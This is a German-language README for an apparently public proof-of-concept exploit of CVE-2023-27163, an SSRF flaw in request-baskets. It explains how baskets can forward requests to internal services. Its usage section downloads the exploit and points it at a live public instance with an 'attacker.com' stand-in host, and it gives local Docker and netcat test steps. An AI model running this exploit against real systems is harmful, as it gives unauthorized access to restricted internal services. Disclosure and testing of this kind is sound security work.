PoC zu SSRF in Request-Baskets (CVE-2023-27163)

Dieses Repository enthält einen Proof-of-Concept (PoC) für CVE-2023-27163, eine Server-Side-Request-Forgery-Schwachstelle (SSRF), die in request-baskets bis Version 1.2.1 entdeckt wurde. Diese Schwachstelle ermöglicht es Angreifern, über eine manipulierte API-Anfrage auf Netzwerkressourcen und vertrauliche Informationen zuzugreifen, indem sie die Komponente /api/baskets/{name} ausnutzen.

Dank an @b33t1e, @chelinboo147 und @houqinsheng (siehe Artikel).

Verwendung

wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
bash ./CVE-2023-27163.sh https://rbaskets.in/ http://attacker.com/

Wie funktioniert es?

Request-baskets ist eine Webanwendung, die dazu dient, Anfragen auf einer bestimmten Route, dem sogenannten Basket, zu sammeln und zu registrieren. Beim Erstellen kann der Benutzer einen anderen Server angeben, an den die Anfrage weitergeleitet wird. Das Problem dabei ist, dass der Benutzer unbeabsichtigte Dienste angeben kann, beispielsweise Anwendungen, die vom Netzwerk abgeschottet sind.

Zum Beispiel: Angenommen, der Server hostet Request-baskets (Port 55555) und einen Flask-Webserver auf Port 8000. Der Flask ist außerdem so konfiguriert, dass er nur mit localhost kommuniziert. Indem der Angreifer einen Basket erstellt, der an http://localhost:8000 weiterleitet, kann er auf den zuvor eingeschränkten Flask-Webserver zugreifen.

Testen auf localhost

1. Starte den Docker-Container von Request-Baskets

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1

2. Lade den PoC herunter

wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh

3. Warte auf eine Verbindung

nc -lvp 8000

4. Speichere die IP-Adresse des Docker-Hosts

DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')

5. Führe den PoC aus

./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/

Lizenz

Dieses Projekt steht unter der Unlicense.